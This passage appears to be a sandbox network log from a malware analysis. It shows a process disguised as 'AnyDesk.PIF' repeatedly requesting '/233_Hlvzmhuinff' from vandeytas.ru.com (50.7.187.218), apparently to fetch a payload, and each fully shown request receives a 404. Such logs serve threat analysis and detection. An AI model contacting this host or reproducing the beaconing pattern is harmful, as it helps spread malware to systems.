2024-11-26 08:39:09 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49757	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:39:10 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:39:11 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:39:11 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:39:11 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49759	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:39:12 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:39:13 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:39:13 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:39:13 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49761	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:39:15 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:39:15 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:39:15 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:39:15 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49763	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:39:17 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:39:17 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:39:17 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:39:17 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49765	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:39:19 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:39:20 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:39:19 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:39:20 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49767	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:39:21 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:39:22 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:39:22 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:39:22 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49769	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:39:23 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:39:24 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:39:24 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:39:24 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49771	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:39:26 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:39:26 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:39:26 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:39:26 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49773	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:39:28 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:39:28 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:39:28 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:39:28 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49775	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:39:30 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:39:31 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:39:30 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:39:31 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49777	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:39:32 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:39:33 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:39:33 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:39:33 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49779	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:39:34 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:39:35 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:39:35 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:39:35 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49781	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:39:36 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:39:37 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:39:37 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:39:37 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49783	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:39:39 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
